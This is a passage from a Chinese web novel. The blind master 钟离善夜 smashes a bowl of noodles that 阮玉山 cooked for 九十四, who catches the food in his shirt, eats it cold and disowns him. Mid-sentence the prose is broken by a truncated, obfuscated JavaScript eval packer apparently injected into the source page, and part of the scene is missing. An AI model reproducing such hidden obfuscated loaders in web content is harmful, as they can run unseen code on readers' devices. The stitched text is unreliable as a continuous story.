钟离善夜七拐八绕走进最深处的院落时,九十四正草草穿着身单薄的里衣——兴许是天冷,他里衣外又套了件里衣,整个人胡乱穿衣,背着双手低着头,旁若无人地在院子里来回踱步,似乎在思考什么事情。 钟离善夜步子轻,玄境是上等中的最上等,即便是阮玉山或者云岫,不刻意提防也很难察觉到他的靠近。 九十四正低头看地发着呆,猝不及防便听身后有人问:“在做什么呢?” 他扭头一看,只见一个约莫而立之年的男人端着碗热气腾腾的汤面在他面前。 九十四并无上下打量人的癖性,因此看见此人只是注意到了对方的容颜,发现这人容颜年轻,双目明亮却似乎有些失焦;面庞瘦削,眼角虽有一丝细纹,却仍称得上英俊潇洒;身姿不俗,只是两鬓微微见白了。 他看过这人一眼,也不问其身份,也不问其为何来此,只道:“我在等阮玉山。你知道他在哪儿吗?” 钟离善夜不做回答,只把手里满院子飘香的一碗鸡汤面递过去:“你的面。” 九十四的视线转移到钟离善夜手上这碗汤面上,原想先下意识弯腰用鼻子去嗅嗅,最后还是忍住了。 钟离善夜挑眉,似是感知到九十四的鼻尖动了动,要准备从自己手里接碗了。 他无声扬唇。 九十四的指尖尚未碰到碗底,侧面便传来一阵极其轻巧的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钟离善夜失明的双目眸光一闪,侧耳分辨出个中事物所有位置,便扔出手中的筷子使其飞向坠落的面碗,只听噼啪声响,筷子和面碗对撞的瞬间,二者皆在空中爆裂而开,化作碎片。 “你!”九十四转头,紧蹙着眉头咬牙瞪了钟离善夜一眼。 不过他顾不得往钟离善夜身上还手,飘着步子飞跨过去,雷厉风行地脱去外边那件里衣,往空中宣开,在鸡汤和面条落地的途中用一件衣裳接住了它们。 待他双脚落地,衣裳兜住的一碗鸡汤面浸湿了这层布料,滴滴答答地透过里衣流到地上。 九十四背对着钟离善夜,双手打得笔直,抓着面前这块绷紧的里衣,一动不动。 “嗨呀,”钟离善夜正为自己赢了一局而沾沾自喜,摸着下巴晃晃悠悠地走过去,又意态悠然地拍了拍九十四的肩,心里已然有八分认可了这个义子,认为阮玉山诚不欺他,嘴上说话便十分轻快,“不就是一碗面嘛,吃不到就吃不——” 话音未落,他察觉到这人呼吸声不对。 钟离善夜正过脸,睁大了一双看不见的盲眼,仿佛如此就能看见九十四的神色。 九十四垂眼盯着用里衣兜住的这一碗面。 片刻前这面还齐整漂亮的装在碗里,一看便知是阮玉山用心煮好亲自盛的。他吃过阮玉山给他煮的面,连阮玉山夹面摆碗里的习惯他都一眼认得出来。 可现在好了,好端端一碗面,费了他和阮玉山大半个时辰,一个等一个做,钟离善夜一来,就让它们这么稀稀拉拉在衣裳里溃不成军地兜着! 九十四一眼不眨地望着这凉透的面,眼角微微发红,抿了抿嘴,末了,语调波澜不惊的轻声道:“你走吧。我不认你当师父了。” 说完便扭头去屋子的行李里拿了筷子出来,坐在院子里的石桌边,把兜面的衣裳摊开,就着这衣裳低头一声不吭地吃起那一摊冷却凝固的面条来。 竟是全程都没再多看钟离善夜一眼。 这一下倒是把钟离善夜给整愣神了。 他眨巴眨巴自己的盲眼,手足无措地站在院子里等九十四唏哩呼噜吃了会儿面,随后挠挠后脑勺,走过去,试试探探地问:“你怎么知道我是钟离善夜?”